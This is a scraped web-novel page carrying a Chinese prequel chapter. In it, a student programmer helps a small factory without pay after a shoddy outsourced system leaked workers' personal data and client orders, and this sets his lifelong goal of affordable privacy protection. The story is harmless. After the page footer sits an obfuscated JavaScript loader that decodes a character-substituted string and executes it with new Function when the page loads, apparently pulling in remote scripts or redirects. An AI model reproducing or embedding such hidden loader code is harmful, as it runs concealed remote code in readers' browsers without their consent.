首页
前传第7章 一次普通的求助,
返回
关灯 护眼:关 字号:小

前传第7章 一次普通的求助,埋下一生初心

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    前传第7章一次普通的求助,埋下一生初心(第1/2页)
    初秋,江城市理工大三号实验楼,傍晚六点。
    暮色顺着落地窗一格格漫进来,把长长的实验廊道染成一层灰蓝。实验室里大半学生早就收拾书包结伴去食堂,只剩零星几盏台灯孤零零亮着,白炽灯的光晕落在桌面成堆的代码稿纸、老旧笔记本上,空气里飘着电路板焊锡淡淡的焦味,混着窗外梧桐树被秋风吹落的枯叶气息。
    龙胆草坐在靠窗最角落的工位,面前一台组装机是他大三攒了整整一年兼职工钱拼凑出来的,机箱边角磕碰掉漆,风扇转动时发出细碎嗡鸣,在空旷安静的房间里格外清晰。
    桌上摊着厚厚的算法草稿,密密麻麻写满推演公式,手边一个掉了瓷的搪瓷水杯,只剩小半杯凉透的白开水。他刚停下指尖敲键盘的动作,指尖还沾着一点黑色炭笔痕迹,目光落在屏幕上一段刚调试完毕的简易用户信息加密源码上,眉宇微微蹙着,神色沉敛。
    这已经是他连续泡在实验室的第三十天。
    自打上个月偶然撞见校外中介钻进院系实训机房,批量倒卖在校生个人信息,姓名、身份证号、家庭住址、住宿登记、选课记录打包按条计价,一条信息几分钱、批量出货动辄上万条,那条灰色产业链像一根细小的刺,扎在他心里拔不掉。
    出身寒门,自小靠着助学金、课余打零工走完初高中、考上重点大学,龙胆草见过太多普通人因为信息泄露无端蒙受损失。老家隔壁独居老奶奶,被不法分子靠着买来的个人信息精准电信诈骗,攒了大半辈子看病的积蓄一夜被骗空,老人一夜白头,卧病半个多月。那一幕牢牢刻在少年脑海,从那时起,他便隐隐生出念头:技术不该沦为谋利害人的工具。
    只是彼时他还在象牙塔内,课业繁重,手上能力有限,空有一腔愤懑,找不到落地的办法,只能埋头钻研加密算法,一点点打磨基础逻辑,盼着有朝一日能做出一套真正护住普通人数据隐私的程序。
    “咚咚。”
    实验室木门被轻轻叩响,打破一室安静。
    龙胆草抬眼回头,见辅导员带着一个约莫五十来岁、穿着洗得发白工装外套的中年***在门口,男人手背布满粗糙老茧,局促地攥着一顶褪色布帽,眉眼间满是焦灼局促,眼神四处张望,像是求助无门,连脚步都不敢轻易往屋内迈。
    “龙胆草,耽误你一小会儿。”辅导员侧身让开位置,语气带着几分无奈,“这位是城郊惠民五金厂的老周,厂里出了一桩怪事,想来咱们计算机院碰碰运气,院里不少同学试过了,要么嫌麻烦,要么看不懂企业老式数据台账的漏洞,听说你私下一直在做民用数据防护的课题,特地过来找你帮忙。”
    龙胆草随手按下暂停键,把草稿纸收拢叠好放进抽屉,起身拉过旁边一把闲置木椅,示意对方落座。
    “周叔,慢慢说,具体是什么问题。”
    他性子素来内敛寡言,不擅长客套寒暄,待人却实打实温和,看见长辈局促不安的模样,主动把桌上凉白开换了纸杯,从饮水机接了一杯温水递过去。
    老周接过水杯,指尖微微发抖,一口水没顾得上喝,重重叹了口气,愁苦顺着眼角皱纹堆了满脸。
    “同学,这事折腾我们全厂半个月了,再解决不了,小厂子怕是要撑不下去,几十号工人等着饭碗糊口。”
    惠民五金是城郊开了十几年的老牌小型加工厂,厂子不大,一共四十多名在岗工人,大多是周边失地农户、中年务工人员,靠着常年对接零散建材订单维持运转。从前记账全靠纸质账本,前两年跟着政策潮流,咬牙花钱请外包小公司做了一套简易员工薪资、客户订单电子存档系统,想着电子化做账省心省力。
    谁也没料到,这套看似省钱的廉价系统,内里藏着巨大的数据漏洞。
    半个月前开始,怪事接连发生。
    厂里工人的身份证信息、家庭住址、银行卡号、每月实发薪资被不明渠道打包流出,先是接连不断的信贷推销电话、保险骚扰短信轰炸到每一位工人手机,紧跟着,不少留守在农村的工人家属,频繁接到冒充厂部财务、人社局工作人员的诈骗来电,谎称工人社保异常、薪资冻结,诱导老人转账汇款。短短一周,已经有两名年纪偏大的工人家属上当受骗,被骗走近两万积蓄。
    祸不单行,客户订单信息同步外泄。
    合作多年的下游采购商联系方式、订货报价、仓储备货明细全被竞品低价扒走,好几笔谈妥的长期订单半路被隔壁新开的五金厂截胡,对方拿着一模一样的货源报价压价抢单,短短半个月,惠民五金直接亏损十几万,资金链绷到断裂边缘。
    老周找当初承接系统开发的外包公司讨要说法,对方先是百般推诿扯皮,后来干脆直接拉黑失联,办公地点人去楼空。想要报案,可零散数据四散流转在灰色渠道,溯源艰难,警方短时间难以锁定泄露源头。四处托人找业内技术员排查,要么一听说老式定制系统架构杂乱、没有利润可赚当场回绝,要么上门粗略翻看两圈代码,随口敷衍几句无从下手便匆匆离开。走投无路之下,经熟人引荐,抱着死马当活马医的心思摸到理工大院。
    “我们就是普通小厂子,没钱花大价钱请顶尖工程师。”老周声音越发沙哑,眼底藏着疲惫与无助,“我知道贸然上门麻烦学生不合适,可实在没有别的路子。我们工人一辈子踏踏实实做工,本本分分过日子,凭什么辛辛苦苦攒的家底,要因为一套破烂系统平白蒙受损失?”
    这番话轻飘飘落在耳边,却重重砸在龙胆草心上。
    他此前只在校园、新闻里见过数据泄露酿成的悲剧,大多隔着屏幕、隔着文字,始终有一层距离。可眼前实实在在的普通人,被廉价劣质的漏洞系统、唯利是图的黑心技术从业者拖累,安稳生计被凭空搅乱,一家人的日常安宁被细碎的信息漏洞撕得粉碎。
    技术落地之后,每一串代码背后,绑定的都是活生生普通人的衣食住行。黑心商家拿粗制滥造、毫无防护的劣质程序收割中小企业的服务费,转头放任用户数据裸奔流入黑市,数据变现带来的暴利被资本与投机者瓜分,所有风险、所有损失,最后全部由毫无防备的底层百姓买单。
    (本章未完,请点击下一页继续阅读)前传第7章一次普通的求助,埋下一生初心(第2/2页)
    这便是当下数据行业隐秘又残酷的常态。
    龙胆草沉默片刻,指尖无意识摩挲着纸杯边缘,方才心里模糊的想法,在这一刻骤然变得清晰具象。
    长久以来,行业里大厂忙着收割流量、靠用户数据变现盈利,中小型外包团队粗制滥造项目赚快钱,没人愿意沉下心,为没有高额付费能力的小微企业、普通老百姓做平价甚至普惠型的数据安全防护。顶尖加密技术锁在头部企业的实验室里,用来服务高价值商业客户,底层民众的数据隐私,成了灰色产业链随意收割的免费资源。
    “周叔,资料和系统备份带来了吗?”龙胆草抬眸,语气笃定,“这个忙我接了,不收任何费用。”
    老周猛地抬眼,原本灰暗的眸子瞬间亮起,不敢置信地望着眼前这个看起来斯斯文文、一身朴素校服的年轻学生。
    “真、真的愿意帮忙?不用酬劳?”
    “不用。”龙胆草轻轻摇头,“我做这个课题的初衷,本就是想护住普通人的数据。”
    辅导员站在一旁,暗自感慨。院里不少家境优越的尖子生,课余忙着对接大厂实习、接高价外包项目赚钱,唯有龙胆草,常年泡在实验室钻研冷门的民用隐私加密,无偿帮周边社区、小微企业处理各类信息防护难题,旁人眼里费时费力没有收益的琐事,在他这里,却是值得踏踏实实耗费心血的正事。
    老周连忙从随身帆布包里掏出一个老旧U盘、厚厚一摞纸质台账,纸张边角被反复翻看磨得起毛,里面记录着系统上线以来所有原始数据、对接日志。
    天色彻底沉落,窗外华灯次第亮起,校外街边路灯连成细碎光点,晚风卷着秋凉穿过敞开的玻璃窗。辅导员叮嘱两句便先行离开,偌大实验室只剩下两人,还有机箱风扇持续不断的嗡鸣。
    龙胆草拉过椅子坐在主机前,插上U盘,开始逐条拆解这套廉价系统的底层源码。
    越往下翻看代码,心头寒意越重。
    整套程序架构粗制滥造,数据存储没有任何加密封装,用户隐私明文裸存,后台没有访问日志溯源机制,甚至预留了多处不明后门。外包团队从一开始就没打算好好做防护,只靠着低廉报价拿下小工厂订单,完工拿钱跑路,后续数据泄露带来的所有恶果,从不在他们的考量范围之内。
    他指尖在键盘上飞快起落,屏幕代码一行行滚动,一边梳理漏洞点位,一边随手在草稿纸上标注优化方案,原本计划调试自己加密源码的计划全盘搁置。
    老周坐在一旁,不敢出声打扰,静静看着少年埋首伏案,从傍晚到深夜,中途只简单啃了一个随身带来的白面馒头,连口水都喝得寥寥无几。
    夜里十一点,校园宿舍即将熄灯,实验室管理员过来例行巡查,看着灯火通明的工位忍不住劝:“同学,太晚了,明天再弄也来得及。”
    “还差最后一处后门封堵,收尾很快。”龙胆草头也没抬,目光始终黏在屏幕密密麻麻的字符上。
    管理员无奈摇头,独自关灯离开,整栋实验楼只剩这一间房间灯火独亮。
    凌晨一点,最后一行修补代码调试完毕。
    龙胆草重新运行优化后的防护插件,给整套老旧系统加上三层自主编写的轻量化加密程序,补齐访问溯源、异常登录预警模块,后续一旦出现非正规渠道窃取数据的操作,系统会第一时间锁定源头、发出警报。
    做完全部测试,他长长吐出一口气,揉了揉酸胀干涩的眼睛,眼底布满淡淡的红血丝。
    “周叔,系统漏洞全部封堵完毕,我额外拷了一份简易使用说明,后续日常运维的注意事项全都写在文档里。”他把U盘分装好,连同手写说明一并交还,“后续若是再出现信息异常,随时可以再来找我。”
    老周紧紧攥着U盘,眼眶微微泛红,千恩万谢,执意要留下一笔酬劳,被龙胆草再三回绝。
    “挣钱不是做技术的唯一目的。”少年望向窗外沉沉夜色,语气平静却格外坚定,“如果技术只能用来坑害普通人、收割底层利益,那研发代码本身就失去了意义。”
    送走老周,空旷的实验室重归安静。
    龙胆草独自站在落地窗前,望着远处城郊连片的居民楼,万家灯火隐在沉沉夜幕里。今天这一场偶然的求助,像一颗落土的种子,在他心底牢牢扎下根系。
    从前他只是反感行业乱象,想要钻研加密算法;经过惠民五金一事,他第一次真切明白,自己毕生想要奔赴的方向是什么。
    不是挤进头部互联网大厂拿着高薪、困在写字楼里为资本打造收割用户的产品,不是靠着一手技术投机取巧追逐名利。
    他要研发一套真正普惠全民、不分企业大小、不分贫富都能用得起的数据隐私防护系统,守住普通人的数据底线,用技术挡住灰色黑手,让每一串用户信息都能被妥善保护。
    这套尚且只存在于脑海中的系统,此刻还没有名字,可“五彩绫镜”最初的雏形与初心,已经在这个秋夜,借着一次不起眼的民间求助,悄悄落地生根。
    他回身重新坐回电脑前,删掉此前写了大半、偏向商用盈利的加密框架,新建空白文档,指尖落下,一字一句写下全新研发宗旨:技术向善,镜护众生,不逐暴利,不弃微末。
    桌边的老旧机箱依旧嗡鸣不止,白炽灯的光芒落在少年单薄却挺拔的身影上,在满地散落的草稿纸之间,铺出一条尚未看清前路、却早已定下终点的漫长创业长路。
    只是此刻的龙胆草尚且不知,数年之后,他会在纷繁职场之中遇见曹辛夷、姚浮萍兄妹、九里香、林晚这群志同道合的伙伴;不知道荆棘科技这类逐利企业已然在行业暗处悄然萌芽,往后无数资本围剿、商业倾轧、技术窃取的风波,都将围绕他今晚埋下的这颗初心,层层铺开。
    夜色渐深,理工大的实验楼慢慢沉入静谧,唯有那一盏台灯,伴着满屏代码,长久亮至拂晓。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();